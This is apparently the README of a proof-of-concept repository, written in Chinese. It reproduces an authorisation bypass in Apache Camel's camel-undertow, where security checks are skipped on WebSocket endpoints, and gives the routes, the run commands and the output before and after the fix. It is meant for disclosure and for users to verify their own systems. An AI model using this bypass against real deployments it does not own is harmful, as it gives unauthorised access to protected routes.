针对 Apache Camel 漏洞的可运行概念验证复现程序,该漏洞中配置的
securityProvider 和 allowedRoles 未在 WebSocket 端点上强制执行,因此客户端可以打开
WebSocket 消费者,而无需通过适用于 HTTP 端点的身份验证和角色检查。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-undertow 4.22.1 |
仅限 Camel Spring Boot。 不存在
camel-quarkus-undertow扩展(Quarkus 有自己的 Vert.x HTTP 栈),已对照 Camel Quarkus 3.39.0 源码树及其 BOM 验证,因此该组件无法 在 Camel Quarkus 上运行。
两个消费者位于同一个 undertow 服务器上,具有相同的安全配置——相同的
securityProvider,相同的 allowedRoles。一个使用 HTTP,另一个使用 WebSocket:
from("undertow:http://0.0.0.0:8081/api?securityProvider=#demoSecurityProvider&allowedRoles=admin")
from("undertow:ws://0.0.0.0:8081/feed?securityProvider=#demoSecurityProvider&allowedRoles=admin")
cd camel-spring-boot
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建版本上输出:
1) HTTP endpoint, no token
HTTP 403 refused
2) HTTP endpoint, with the token
HTTP 200 ADMITTED
3) WebSocket endpoint, NO token - the same security configuration
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
4) WebSocket endpoint, with the token
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
Every question the security provider was actually asked:
- /api -> FORBIDDEN
- /api -> OK
>>> PROVEN: ...
提供方的调用列表就是证据。 其中只包含 /api:提供方从未被询问过
/feed。UndertowConsumer 在其构建的 HTTP 处理器中执行了 securityProvider / allowedRoles 检查,
而 WebSocket 端点是通过 CamelWebSocketHandler 注册的,该版本
完全不执行任何身份验证——因此升级过程完全跳过了检查,而不是检查失败。
HTTP 消费者是对照组:同一个调用方在没有令牌时被拒绝 403,在携带令牌时被允许,
因此配置本身是健全的,只有 WebSocket 路径未受保护。
没有身份提供方,也没有网络。一个小的 UndertowSecurityProvider 代替部署的
授权机制:只有当调用方出示共享 bearer 令牌并且端点的
允许角色包含 admin 时,调用方才被授权。每次调用都会被记录,这正是“从未被询问”得以显现的原因。
驱动程序像外部客户端一样接近每个消费者:对 HTTP 消费者使用普通的 HTTP GET,
对 WebSocket 消费者使用真实的 WebSocket 握手(java.net.http.WebSocket)。
| 属性 | 值 |
|---|---|
| 组件 | camel-undertow(UndertowConsumer、CamelWebSocketHandler) |
| CWE | 部署配置为受保护的端点上缺少授权 |
| 严重性 | 高 |
| 攻击向量 | 向配置了 securityProvider / allowedRoles 的 undertow 消费者打开 WebSocket 连接 |
| 影响 | 在缺少所需身份验证或角色的情况下,访问应用程序意图保护的路由 |
| 受影响版本 | 4.0.0 至 4.18.6 之前;4.19.0 至 4.22.2 之前 |
| 修复版本 | 4.18.6、4.22.2、4.23.0 |
| JIRA | CAMEL-25375 |
| 致谢 | Apache Software Foundation 的 Andrea Cosentino |
公告:https://camel.apache.org/security/CVE-2026-105966.html
安全约束检查现在也会对 WebSocket 消费者运行,因此同样强制执行身份验证和
允许角色:CamelWebSocketHandler 在升级前对交换进行身份验证,并在提供方拒绝时
设置状态码。
将 camel.version 设置为 4.22.2 并再次运行。已针对 4.22.1 -> 4.22.2 验证:
3) WebSocket endpoint, NO token
handshake: refused - WebSocketHandshakeException: null
4) WebSocket endpoint, with the token
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
Every question the security provider was actually asked:
- /api -> FORBIDDEN
- /api -> OK
- /feed -> FORBIDDEN
- /feed -> OK
>>> NOT reproduced: the WebSocket upgrade was refused without a token.
请注意两个新增的 /feed 条目:现在会针对 WebSocket 路径咨询提供方,它会拒绝没有令牌的调用方,而经过授权的调用方仍然可以连接。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户了解该漏洞、验证自己是否受到影响,并确认升级后可以解决该问题。请勿将本材料用于您不拥有或运营的系统。